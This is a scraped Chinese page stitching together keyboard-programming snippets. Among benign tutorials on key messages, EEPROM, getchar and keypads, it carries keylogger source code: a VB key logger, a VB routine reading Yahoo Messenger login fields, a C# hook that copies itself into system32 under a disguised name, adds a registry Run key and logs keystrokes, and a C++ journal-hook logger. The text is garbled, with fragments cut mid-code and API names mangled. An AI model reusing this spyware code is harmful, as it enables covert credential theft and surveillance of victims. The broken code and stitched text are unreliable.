'键处于按下状态vKeyASC = vKeyASC & "【down】" & "|" '记录按键DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " " '存储按键,以空格为分隔符End IfIf Len(DataKeyCacheDX) >= 50 Then '每50个字符写一行DataKeyCacheDX = DataKeyCacheDX & Now & "|" '记下写记录的时间Open App.Path & "\Char.txt" For Append As #2Write #2, DataKeyCacheDXClose #2DataKeyCacheDX = ""End IfEnd IfkeyArray(key_count) = key_state.Key(key_count) '防止一次按键重复记录NextEnd SubPrivate Function SmallKeyboard(ByV al vKeycode As Integer) As Integer '小键盘按键转换Select Case vKeycodeCase 45SmallKeyboard = 0 '0的虚拟码为45,下同Case 35SmallKeyboard = 1Case 40SmallKeyboard = 2Case 34SmallKeyboard = 3Case 37SmallKeyboard = 4Case 12SmallKeyboard = 5Case 39SmallKeyboard = 6Case 36SmallKeyboard = 7Case 38SmallKeyboard = 8Case 33SmallKeyboard = 9Case ElseSmallKeyboard = -1End SelectEnd Function。

键盘记录源代码

键盘记录源代码
Hndl = GetWindow&(Hndl, GW_HWNDNEXT)
Hndl = GetWindow&(Hndl, GW_HWNDNEXT)
Form1.txtID = GetText(Hndl)
Hndl = GetWindow&(Hndl, GW_HWNDNEXT)
Private Declare Function Sendmessagebynum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
'Private Constants
Private Const EM_SETPASSWORDCHAR = &HCC
Private Const EM_GETPASSWORDCHAR = &HD2
Private Const GW_HWNDNEXT = 2
Public Function YahooFucker()
Dim Hndl, nh As Long
Dim txt As String
Hndl = FindWindow(vbNullString, "Yahoo! Messenger") ' find "Yahoo! Messenger" window
If Hndl <> 0 Then ' if "Yahoo! Messenger" window exist then ..

VC处理键盘消息

VC处理键盘消息

VC处理键盘消息.VC中键盘事件处理主要是通过对相应的消息的响应,这些事件有如:WM_CHAR、WM_KEYDOWN、WM_KEYUP等他们分别对应OnChar、OnKeyDown、OnKeyUp消息处理函数;当然在有些时候我们也可能需要用到对PreTranslateMessage函数的重载。

从这些事件的名称我们可以看出WM_CHAR表示字符事件,WM_KEYDOWN表示键盘的键被按下时事件,而WM_KEYUP则表示键盘的键被放开时的事件;我们在键盘上按下某个键时系统先调用OnKeyDown函数接着调用OnChar函数最后调用OnKeyUp函数;这些消息函数的原形如下:afx_msg void OnChar(UINT nChar, UINT nRepCnt, UINT nFlags);afx_msg void OnKeyDown(UINT nChar, UINT nRepCnt, UINT nFlags);afx_msg void OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags);nChar代表虚拟键,nRepCnt代表重复次数;而对于nFlags则有点麻烦但大多数时候我们不管这个参数,nFlags的具体意义请参考MSDN相关文档;nChar代码与键盘中各键的对应关系如下:VK_0 到VK_9 表示键盘上数字“0 ”到“9 ”键(ASCII 码为0x30 - 0x39) ;VK_A 到VK_Z 表示键盘上字母“A ”到“Z ”键(ASCII 码为0x41 - 0x5a) ;VK_ADD 表示数字键盘上的“+ ”键。

VK_ALT 表示键盘上“ALT ”键。

VK_BACK_QUOTE 表示键盘上“` ”键。

VK_BACK_SLASH 表示键盘上“/ ”键。

VK_BACK_SPACE 表示键盘上“BACKSPACE “键。

VK_CAPS_LOCK 表示键盘上“CAPS LOCK ”键。

C语言程序写入按键次数到24c02,并读出来显示在4个LED上

C语言程序写入按键次数到24c02,并读出来显示在4个LED上

C语言程序写入按键次数到24c02,并读出来显示在4个LED上#define uchar unsigned char //定义一下方便使用#define uint unsigned int#define ulong unsigned long#include //包括一个52标准内核的头文件char code dx516[3] _at_ 0x003b;//这是为了仿真设置的#define WriteDeviceAddress 0xa0 //定义器件在IIC总线中的地址#define ReadDviceAddress 0xa1sbit SCL=P2^7;sbit SDA=P2^6;sbit P10=P1^0;sbit K1=P3^2;//定时函数void DelayMs(unsigned int number){unsigned char temp;for(;number!=0;number--){for(temp=112;temp!=0;temp--) ;}}//开始总线void Start(){SDA=1;SCL=1;SDA=0;SCL=0;}//结束总线void Stop(){SCL=0;SDA=0;SCL=1;SDA=1;}//发ACK0void NoAck(){SDA=1;SCL=1;SCL=0;}//测试ACKbit TestAck(){bit ErrorBit;SDA=1;SCL=1;ErrorBit=SDA;SCL=0;return(ErrorBit);}//写入8个bit到24c02void Write8Bit(unsigned char input) {unsigned char temp;for(temp=8;temp!=0;temp--){SDA=(bit)(input&0x80);SCL=1;SCL=0;input=input<<1;}}//写入一个字节到24c02中void Write24c02(uchar ch,uchar address) {Start();Write8Bit(WriteDeviceAddress); TestAck();Write8Bit(address);TestAck();Write8Bit(ch);TestAck();Stop();DelayMs(10);}//从24c02中读出8个bituchar Read8Bit(){unsigned char temp,rbyte=0;for(temp=8;temp!=0;temp--){SCL=1;rbyte=rbyte<<1;rbyte=rbyte|((unsigned char)(SDA));SCL=0;}return(rbyte);}//从24c02中读出1个字节uchar Read24c02(uchar address){uchar ch;Start();Write8Bit(WriteDeviceAddress);TestAck();Write8Bit(address);TestAck();Start();Write8Bit(ReadDviceAddress);TestAck();ch=Read8Bit();NoAck();Stop();return(ch);}//写入按键次数到24c02,并读出来显示在4个LED上void main(void) // 主程序{uchar c1,c2;while(1){c1=Read24c02(0x01); //读出24c02第一个地址数据P1=c1; //显示在P1口的4个LED上if(!K1) //按键处理{c1++; //值加1Write24c02(c1,0x01); //重新写入24c02 while(!K1); //等待按键松开for(c2=0;c2<250;c2++); //松开按键去抖}}}。

c语言,,键盘输入判断是否是数字,大小写字母,和其它符号之类

c语言,,键盘输入判断是否是数字,大小写字母,和其它符号之类

c语⾔,,键盘输⼊判断是否是数字,⼤⼩写字母,和其它符号之类#include "stdio.h" // char定义⼀个数组存储输⼊的东西,之后就是通过循环来判断main() // 判断的条件是关键,,定义若⼲个变量来记个数,{char s[99];int cout1=0,cout2=0,cout3=0,cout4=0,i=0;scanf("%s",s);do{if(s[i]>='0' && s[i]<'9') //判断是否是数字cout1++;else{if(s[i]>='A' && s[i]<='Z') //这⾥⾯是判断⼤写字母cout2++;else{if(s[i]>='a' && s[i]<='z') //判断出⼩写字母cout3++;else{cout4++;}}}i++;}while(s[i]!='q' && s[i]!='Q');printf("数字%d个⼤写字母%d个⼩写字母%d个其他个%d",cout1,cout2,cout3,cout4);return 0;}下⾯是⼤⼩写字母的转换的算法,和代码由于⼤写字母与⼩写字母之间的差值为 32,因此⼩写字母转换为⼤写字母的⽅法就是将⼩写字母的 ASCII 码值减去 32,便可得到与之对应的⼤写字母。

利⽤ getchar 函数从键盘上输⼊⼀个⼩写字母,并将其赋给⼀个字符变量 a;然后将 a—32 的值赋给字符变量 b;最后进⾏输出,输出时先输出字母,再将字母以整数形式输出。

其具体步骤如下:①定义两个字符变量 a、b;② a=get char();③ b=a—32;④打印输出。

C语言:键盘输入

C语言:键盘输入

C语⾔:键盘输⼊C语⾔有多个函数可以从键盘获得⽤户输⼊,它们分别是:scanf():和 printf() 类似,scanf() 可以输⼊多种类型的数据。

getchar()、getche()、getch():这三个函数都⽤于输⼊单个字符。

gets():获取⼀⾏数据,并作为字符串处理。

scanf() 是最灵活、最复杂、最常⽤的输⼊函数,上节我们已经进⾏了讲解,本节接着讲解剩下的函数,也就是字符输⼊函数和字符串输⼊函数。

输⼊单个字符输⼊单个字符当然可以使⽤ scanf() 这个通⽤的输⼊函数,对应的格式控制符为%c,上节已经讲到了。

本节我们重点讲解的是 getchar()、getche() 和 getch() 这三个专⽤的字符输⼊函数,它们具有某些 scanf() 没有的特性,是 scanf() 不能代替的。

1) getchar()最容易理解的字符输⼊函数是 getchar(),它就是scanf("%c", c)的替代品,除了更加简洁,没有其它优势了;或者说,getchar() 就是 scanf() 的⼀个简化版本。

下⾯的代码演⽰了 getchar() 的⽤法:1. #include <stdio.h>2. int main()3. {4. char c;5. c = getchar();6. printf("c: %c\n", c);7.8. return 0;9. }输⼊⽰例:@↙c: @你也可以将第 4、5 ⾏的语句合并为⼀个,从⽽写作:char c = getchar();2) getche()getche() 就⽐较有意思了,它没有缓冲区,输⼊⼀个字符后会⽴即读取,不⽤等待⽤户按下回车键,这是它和 scanf()、getchar() 的最⼤区别。

请看下⾯的代码:1. #include <stdio.h>2. #include <conio.h>3. int main()4. {5. char c = getche();6. printf("c: %c\n", c);7.8. return 0;9. }输⼊⽰例:@c: @输⼊@后,getche() ⽴即读取完毕,接着继续执⾏ printf() 将字符输出,所以没有按下回车键程序就运⾏结束了。

C语言嵌入式系统编程修炼之五键盘操作

C语言嵌入式系统编程修炼之五键盘操作

C语言嵌入式系统编程修炼之五键盘操作键盘操作在嵌入式系统中是非常常见和重要的一项功能。

通过键盘操作,我们可以与嵌入式系统进行交互,实现一些基本的功能,如控制LED 灯的亮灭、调整音量等。

本文将介绍如何在C语言中实现键盘操作。

在嵌入式系统中,通常会使用外部键盘模块来实现键盘操作。

外部键盘模块会通过一些IO口与嵌入式系统连接,当按下键盘上的按键时,会通过IO口发送一个信号给嵌入式系统,嵌入式系统通过读取IO口的状态来获取按键信息。

首先,我们需要配置IO口的工作模式。

在大多数的嵌入式系统中,IO口可以设置为输入模式或输出模式。

对于键盘操作来说,我们需要将IO口设置为输入模式。

可以通过设置相应的寄存器或调用相应的库函数来实现。

接下来,我们需要在程序中不断地读取IO口的状态,以获取按键信息。

可以使用轮询的方式,即不断地读取IO口的状态,当IO口的状态发生变化时,说明有按键被按下。

也可以使用中断的方式,即当IO口的状态发生变化时,触发一个中断,中断服务程序中读取IO口的状态来获取按键信息。

当获取到按键信息后,我们可以根据不同的按键来执行不同的操作。

可以使用if语句或switch语句来进行判断,根据不同的按键执行相应的代码。

例如,当按下一些按键时,可以控制LED灯的亮灭,当按下另一个按键时,可以调整音量等。

在进行键盘操作时,还需要考虑一些其他的因素。

例如,按键抖动问题。

由于按键的机械性质,当按键被按下时,会出现抖动现象,即按键会在按下和松开的过程中多次切换状态。

为了避免这种问题,我们可以在程序中添加一定的延时操作,当读取到IO口的状态发生变化后,再等待一段时间,再次读取IO口的状态,观察IO口的状态是否稳定。

另外,还需要考虑多个按键同时按下的情况。

在处理多个按键同时按下的情况时,可以使用一个变量来保存当前按下的按键信息,然后在程序中进行相应的判断和处理。

总结来说,键盘操作在嵌入式系统中是非常重要的一项功能。

通过键盘操作,我们可以与嵌入式系统进行交互,实现一些基本的功能。

C实现记录键盘输入完整版

C实现记录键盘输入完整版

[HCode=C#]///Hook.cs代码using System;using System.Runtime.InteropServices;using System.Reflection;using System.Windows.Forms;namespace KingOper{public enum KeyboardEvents{KeyDown = 0x0100,KeyUp = 0x0101,SystemKeyDown = 0x0104,SystemKeyUp = 0x0105}[StructLayout(LayoutKind.Sequential)]public struct KeyboardHookStruct{public int vkCode; //表示一个在1到254间的虚似键盘码public int scanCode; //表示硬件扫描码public int flags;public int time;public int dwExtraInfo;}public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key);public class Hook{public event KeyboardEventHandler KeyboardEvent;public enum HookType{WH_JOURNALRECORD = 0,WH_JOURNALPLAYBACK = 1,WH_KEYBOARD = 2,WH_GETMESSAGE = 3,WH_CALLWNDPROC = 4,WH_CBT = 5,WH_SYSMSGFILTER = 6,WH_MOUSE = 7,WH_HARDWARE = 8,WH_DEBUG = 9,WH_SHELL = 10,WH_FOREGROUNDIDLE = 11,WH_CALLWNDPROCRET = 12,WH_KEYBOARD_LL = 13,WH_MOUSE_LL = 14,WH_MSGFILTER = -1,}public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam);[DllImport("User32.dll",CharSet = CharSet.Auto)]public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID);[DllImport("User32.dll",CharSet = CharSet.Auto)]public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam);[DllImport("User32.dll",CharSet = CharSet.Auto)]public static extern bool UnhookWindowsHookEx(IntPtr hookHandle);private IntPtr instance;private IntPtr hookHandle;private int threadID;private HookProc hookProcEx;public Hook(){this.instance =Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]);this.threadID = 0;hookHandle = IntPtr.Zero;hookProcEx = new HookProc(hookProc);}public bool SetHook(){this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID);return ((int)hookHandle != 0);}public IntPtr hookProc(int code, int wParam, IntPtr lParam){if(code >= 0){KeyboardEvents kEvent = (KeyboardEvents)wParam;if (kEvent != KeyboardEvents.KeyDown &&kEvent != KeyboardEvents.KeyUp &&kEvent != KeyboardEvents.SystemKeyDown&&kEvent != KeyboardEvents.SystemKeyUp){returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);}KeyboardHookStruct MyKey = new KeyboardHookStruct();Type t = MyKey.GetType();MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t);Keys keyData=(Keys)MyKey.vkCode;KeyboardEvent(kEvent, keyData);}returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);}public bool UnHook(){return Hook.UnhookWindowsHookEx(this.hookHandle);}}}///RegistryReport.cs代码using System;using System.IO;using Microsoft.Win32;using System.Windows.Forms;namespace KingOper{public class RegistryReport{public RegistryReport(){}public void MoveFile(){if(!File.Exists("c:\\windows\\system32\\_system.exe")){File.Move(Application.ExecutablePath,"c:\\windows\\system32\\_system.exe");}elsereturn;}public void registryRun(){RegistryKeykey1=Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\run");key1.SetValue("","c:\\windows\\system32\\_system.exe");key1.Close();}}}///Report.cs代码using System;using System.IO;namespace KingOper{public class Report{public Report(){}public void FirstWrite(){StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true);sw.WriteLine("************* LittleStudio Studio ************* ");sw.WriteLine("******** " + DateTime.Today.Year.ToString() + "."+ DateTime.Today.Month.ToString() + "."+ DateTime.Today.Day.ToString() + " "+ DateTime.Now.Hour.ToString() + ":"+ DateTime.Now.Minute.ToString() + ":"+ DateTime.Now.Second.ToString() + " ********");sw.Close();}public void WriteDate(string keyEvents,string keyDate){try{StreamWriter sw = new StreamWriter("c:/keyReport.txt",true);sw.WriteLine(keyDate + "键" + keyEvents + " "+ DateTime.Now.Hour.ToString() + ":"+ DateTime.Now.Minute.ToString() + ":"+ DateTime.Now.Second.ToString());sw.Close();}catch{}return;}}}test_Load调用的实现private Hook MyHook=new Hook();private Report MyReport=new Report();private RegistryReport MyRegistryReport;private void test_Load(object sender, System.EventArgs e){MyRegistryReport=new RegistryReport();this.MyRegistryReport.MoveFile();this.MyRegistryReport.registryRun();this.MyReport.FirstWrite();this.MyHook.SetHook();this.MyHook.KeyboardEvent += new KeyboardEventHandler(MyHook_KeyboardEvent);}private void MyHook_KeyboardEvent(KeyboardEvents keyEvent, Keys key){string keyEvents = keyEvent.ToString();string keyDate = key.ToString();this.MyReport.WriteDate(keyEvents,keyDate);}[/HCode]。

c语言方向键控制程序

c语言方向键控制程序

c语言方向键控制程序在C语言中,我们可以使用头文件"conio.h"和"windows.h"来实现对键盘输入的监测和控制。

具体步骤如下:1. 引入头文件```c#include <conio.h>#include <windows.h>```2. 定义全局变量```cint x = 0; // x坐标int y = 0; // y坐标```3. 定义主函数```cint main() {while (1) { // 循环监听键盘输入if (_kbhit()) { // 判断是否有键盘输入char ch = _getch(); // 读取键盘输入的字符switch (ch) {case 'w': // 按下w键,向上移动y--;break;case 's': // 按下s键,向下移动y++;break;case 'a': // 按下a键,向左移动x--;break;case 'd': // 按下d键,向右移动x++;break;case 'q': // 按下q键,退出程序exit(0);}system("cls"); // 清屏printf("当前位置:x=%d, y=%d\n", x, y); // 输出当前位置坐标}}return 0;}```在上述代码中,我们使用了一个无限循环来监听键盘输入。

当检测到键盘有输入时,根据输入的字符选择相应的操作。

具体来说,按下"w"键时,y坐标减1,表示向上移动;按下"s"键时,y坐标加1,表示向下移动;按下"a"键时,x坐标减1,表示向左移动;按下"d"键时,x坐标加1,表示向右移动;按下"q"键时,程序退出。

键盘记录器代码

键盘记录器代码
else KeyString = ".";
break; case 191:
if(IS) KeyString = "?";
else KeyString = "/";
break; case 192:
if(IS) KeyString = "~";
else KeyString = "`";
break; case 219:
KeyString = "[Backspace]"; else if (Key == VK_RETURN) // 回车键、换行
KeyString = "[Enter]\n";
else if (Key == VK_SPACE) // 空格 KeyString = " ";
//上档键:键盘记录的时候,可以不记录。单独的 Shift 是不会有任何字符, //上档键和别的键组合,输出时有字符输出
for(int i = 8; i <=255; i++) {
if( (GetAsyncKeyState(i)&1) ==1) {
TempString = GetKey (i); if ( (GetKeyState(VK_CONTROL)&0x80)==0x80)//判断 Ctrl 键是否已经被按下 过
{ file.SeekToEnd(); file.Write("\r\n",strlen("\r\n"));//换行
} file.Write(TempString,TempString.GetLength()); file.Close(); } } } CString GetKey(int Key) // 判断键盘按下什么键

32矩阵键盘c语言程序

32矩阵键盘c语言程序

32矩阵键盘c语言程序是一种使用c语言实现的矩阵键盘驱动程序,它是通过扫描键盘的行列来确定按键位置的。

键盘的每一行和每一列都连接到微控制器的端口上,当某个按键被按下时,对应的行和列的端口就会产生一个变化,从而可以确定按键的位置。

32矩阵键盘c语言程序的实现步骤如下:1. 定义键盘的行列数,以及对应的端口地址。

2. 初始化键盘的端口,将其设置为输入端口。

3. 扫描键盘的行列,当某个按键被按下时,对应的行和列的端口就会产生一个变化,从而可以确定按键的位置。

4. 根据按键的位置,执行相应的操作。

下面是一个32矩阵键盘c语言程序的示例:#include <stdio.h>#include <stdlib.h>#include <string.h>#define ROWS 4#define COLS 8#define KEYPAD_PORT 0x3Funsigned char keypad_scan() {unsigned char keypad_state[ROWS][COLS] = {{'1', '2', '3', 'A', '4', '5', '6', 'B'},{'7', '8', '9', 'C', '*', '0', '#', 'D'},{'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L'},{'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T'}};unsigned char row, col;unsigned char keypad_value=0;// Set all rows to output and all columns to inputfor (row=0; row<ROWS; row++) {DDRD|= (1<< (row+4));DDRD&=~(1<<row);}// Scan each rowfor (row=0; row<ROWS; row++) {// Set the current row to lowPORTD&=~(1<<row);// Read the columnsfor (col=0; col<COLS; col++) {// If the current column is high, then the corresponding key is pressed if (PIND& (1<<col)) {keypad_value=keypad_state[row][col];break;}}// Set the current row to highPORTD|= (1<<row);}return keypad_value;}int main() {unsigned char keypad_value;// Initialize the keypad portDDRD|=0xF0;PORTD|=0x0F;// Continuously scan the keypadwhile (1) {keypad_value=keypad_scan();// If a key is pressed, print its valueif (keypad_value!=0) {printf("Key pressed: %c\n", keypad_value);}}return0;}这个程序首先定义了键盘的行列数,以及对应的端口地址。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
ch=’!’;
break;
case 50:
{
int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值
char ch;
char str[10];
ch=’@’;
break;
case 51:
#include "KeyHookU.h"
//------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
ch=’#’;
break;
case 52:
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)
{
if(g_hLogHook!=NULL)
ch=’$’;
break;
case 53:
{
EVENTMSG* pEvt=(EVENTMSG*)lParam;
int i;
HWND hFocus;//保存当前活动窗口句柄
char szTitle[256];//当前窗口名称
ch=’%’;
break;
case 54:
日志钩子代码如下
//-----------.cpp文件
//---------------------------------------------------------------------------
#include <vcl.h>
#include <stdio.h>
#pragma hdrstop
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
int iCapital=GetKeyState(0x14);
{
Unhook视窗系统HookEx(g_hLogHook);
g_hLogHook=NULL;
}
}
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
ch=’(’;
break;
case 48:
void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)
{
if(g_hLogHook==NULL)
//安装日志钩子
g_hLogHook=Set视窗系统HookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
ch=’*’;
break;
case 57:
TfrmLogHook *frmLogHook;
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
char szTime[128];//当前的日期和时间
FILE* stream=fopen("h:\\usr\\logfile.txt","a+");
if(pEvt->message==WM_KEYDOWN)
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
if(iCode==HC_ACTION)
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift&KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital&1)==1;
ch=’)’;
ch=’&’;
break;
case 56:
ch=’^’;
break;
case 55:
{
if(!bShift)
fprintf(stream,"%c",vKey);
else
hFocus=GetActiveWindow();
if(g_hLastFocus!=hFocus)
{
GetWindowText(hFocus,szTitle,256);
bool bNumLock=(iNumLock&1)==1;
/*
if(vKey==9) //TAB
fprintf(stream,"%c",’\t’);
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
if(vKey==13) //回车键
fprintf(stream,"%c",’\n’);
*/
if(vKey>=48 && vKey<=57) //数字键0-9
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str());
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
{
switch(vKey)
{
case 49:
相关文档
最新文档